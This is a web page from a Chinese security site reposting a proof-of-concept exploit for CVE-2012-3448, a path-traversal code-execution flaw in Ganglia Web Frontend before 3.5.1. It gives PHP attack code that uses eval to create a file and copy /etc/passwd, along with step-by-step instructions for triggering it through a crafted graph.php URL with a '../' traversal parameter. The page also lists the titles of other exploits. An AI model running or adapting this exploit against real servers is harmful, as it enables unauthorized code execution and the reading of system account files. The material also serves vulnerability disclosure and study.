首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ganglia Web Frontend < 3.5.1 - PHP Code Execution
来源:andrei theATsign firmware theDOTsign re 作者:Costin 发布时间:2015-09-01  
<?php
/*
 
################################################################################
#
# Author    : Andrei Costin (andrei theATsign firmware theDOTsign re)
# Desc      : CVE-2012-3448 PoC
# Details   : This PoC will create a dummy file in the /tmp folder and
#             will copy /etc/passwd to /tmp.
#             To modify the attack payload, modify the code below.\
# Setup     : Ubuntu Linux 14.04 LTS x86 with Ganglia Web Frontend 3.5.0
#
################################################################################
 
1. Assuming that ganglia is installed on the target machine at this path:
/var/www/html/ganglia/
 
2. Assuming the attacker has minimal access to the target machine and
can write to "/tmp". There are several methods where a remote attacker can
also trigger daemons or other system processes to create files in "/tmp"
whose content is (partially) controlled by the remote attacker.
 
3. The attacker puts the contents of this PoC file into the file:
/tmp/attack.php
 
4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1
as:
http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY
 
5. Confirm that the PoC created a dummy file in the /tmp folder and copied
/etc/passwd to /tmp.
 
*/
 
eval('touch("/tmp/attacker.touch"); copy("/etc/passwd", "/tmp/attacker.passwd");');
die("Triggering CVE-2012-3448 attack.php");
 
?>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple OS X Entitlements Rootpi
·PFTP Server 8.0f Lite - textfi
·MS SQL Server 2000/2005 SQLNS.
·Microsoft Office 2007 - msxml5
·Sysax Multi Server 6.40 SSH Co
·Viber 4.2.0 - Non-Printable Ch
·Photo Transfer (2) 1.0 iOS - D
·Boxoft WAV to MP3 Converter -
·freeSSHd 1.3.1 - Denial of Ser
·Mpxplay Multimedia Commander 2
·BSIGN 0.4.5 - Buffer Overflow
·SiS Windows VGA Display Manage
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved